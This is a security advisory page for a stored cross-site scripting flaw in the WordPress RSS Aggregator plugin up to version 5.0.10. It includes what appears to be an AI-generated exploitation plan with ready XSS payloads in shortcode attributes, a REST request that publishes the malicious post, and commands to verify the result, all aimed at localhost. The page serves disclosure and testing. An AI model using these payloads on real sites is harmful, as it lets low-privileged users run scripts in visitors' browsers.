RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging <= 5.0.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via wp-rss-aggregator Shortcode
Description
The RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp-rss-aggregator' shortcode in all versions up to, and including, 5.0.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.0.10What Changed in the Fix
Changes introduced in v5.0.11
Source Code
WordPress.org SVNThis plan outlines the steps to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the **RSS Aggregator** plugin (<= 5.0.10). The vulnerability allows a Contributor-level user to inject arbitrary JavaScript via unescaped shortcode attributes. ### 1. Vulnerability Summary The `wp-rss-a…
Show full research plan
This plan outlines the steps to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the RSS Aggregator plugin (<= 5.0.10). The vulnerability allows a Contributor-level user to inject arbitrary JavaScript via unescaped shortcode attributes.
1. Vulnerability Summary
The wp-rss-aggregator shortcode processes various attributes that define the appearance of the feed display. These attributes are mapped to a DisplaySettings object. When rendering the feed using the ListLayout or LayoutTrait, several settings (such as htmlClass, datePrefix, sourcePrefix, and authorPrefix) are concatenated directly into HTML strings (often using PHP Heredoc syntax) without being passed through WordPress escaping functions like esc_attr() or esc_html().
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (Gutenberg or Classic).
- Shortcode:
[wp-rss-aggregator] - Vulnerable Attributes:
html_class,date_prefix,source_prefix,author_prefix. - Authentication Level: Authenticated (Contributor+). Contributors can create posts and insert shortcodes.
- Preconditions: At least one Feed Source and one Feed Item should exist to trigger the rendering of the item-specific prefixes (like
date_prefix), althoughhtml_classis rendered in the outer container even if the list is empty.
3. Code Flow
- Entry Point: A user views a page containing the shortcode:
[wp-rss-aggregator html_class='"><script>alert(1)</script>']. - Processing: The shortcode handler calls
RebelCode\Aggregator\Core\Renderer::renderArgs($args, 'shortcode'). - Argument Parsing:
Renderer::parseArgsprocesses the$argsarray. While the provided source snippet is truncated, the logic for shortcodes typically maps$args(e.g.,html_class) to theDisplaySettingsobject properties (e.g.,htmlClass). - Display Logic:
Renderer::renderDisplayis called, which initializes the layout (e.g.,RebelCode\Aggregator\Core\Display\ListLayout). - Vulnerable Sink (Outer Container): In
core/src/Display/ListLayout.php, therender()method uses$this->ds->htmlClassdirectly:return <<<HTML <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}"> ... </div> HTML; - Vulnerable Sink (Item Meta): In
core/src/Display/LayoutTrait.php, methods likerenderDate()use prefixes directly:return <<<HTML <{$tag} class="{$class}"> {$this->ds->datePrefix} {$dateStr} </{$tag}> HTML;
4. Nonce Acquisition Strategy
No nonce is required for this exploit.
Shortcodes are processed by WordPress whenever a page is rendered. The "storage" of the XSS occurs when a Contributor saves a post containing the malicious shortcode. WordPress core handles the permission for a Contributor to save posts.
5. Test Data Setup
To ensure the LayoutTrait sinks are hit (which require items to be rendered), we will create a dummy feed source and a dummy feed item.
- Create a Feed Source:
wp post create --post_type=wprss_feed --post_title="Exploit Source" --post_status=publish - Create a Feed Item (associated with the source):
# Get the ID of the source created above SOURCE_ID=$(wp post list --post_type=wprss_feed --format=ids) wp post create --post_type=wprss_feed_item --post_title="Exploit Item" --post_status=publish --post_meta_input="{\"wprss_feed_id\":\"$SOURCE_ID\"}"
6. Exploitation Strategy
Step 1: Login as Contributor
Use the http_request tool to authenticate as a user with the contributor role.
Step 2: Create Malicious Post
Create a new post containing the wp-rss-aggregator shortcode with the payload in the html_class attribute. This attribute is highly reliable because it breaks out of the class attribute of the container div.
- URL:
http://localhost:8080/wp-json/wp/v2/posts - Method:
POST - Content-Type:
application/json - Payload:
(Note: If the REST API is restricted, use{ "title": "Aggregator Feed", "content": "[wp-rss-aggregator html_class='\"><script>alert(document.domain)</script>']", "status": "publish" }browser_navigateandbrowser_clickto create the post via the UI).
Step 3: Trigger the XSS
Navigate to the newly created post as any user (including unauthenticated visitors).
- Action:
browser_navigate("http://localhost:8080/?p=POST_ID") - Detection: Look for the script execution or the broken HTML structure in the DOM.
7. Expected Results
The output HTML will look like this:
<div class="wp-rss-aggregator wpra-list-template "><script>alert(document.domain)</script>">
<ul class="rss-aggregator wpra-item-list ...">
...
</ul>
</div>
The browser will execute the injected <script> tag.
8. Verification Steps
- Check Post Content:
wp post list --post_type=post --field=post_content - Verify Rendered Output:
Usehttp_requestto fetch the post and check if the unescaped payload exists:# Expected grep match curl -s http://localhost:8080/?p=POST_ID | grep -F '"><script>alert(document.domain)</script>'
9. Alternative Approaches
If html_class is sanitized by a different component, target the meta prefixes in LayoutTrait.php:
- Author Prefix:
[wp-rss-aggregator author_prefix='<script>alert("author")</script>'] - Date Prefix:
[wp-rss-aggregator date_prefix='<script>alert("date")</script>'] - Source Prefix:
[wp-rss-aggregator source_prefix='<script>alert("source")</script>']
These require that at least one feed item is present and the corresponding display setting (e.g., enable_dates) is active. If the display settings are not active by default, they can also be enabled via shortcode attributes (e.g., [wp-rss-aggregator date_prefix='...' dates='on']).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.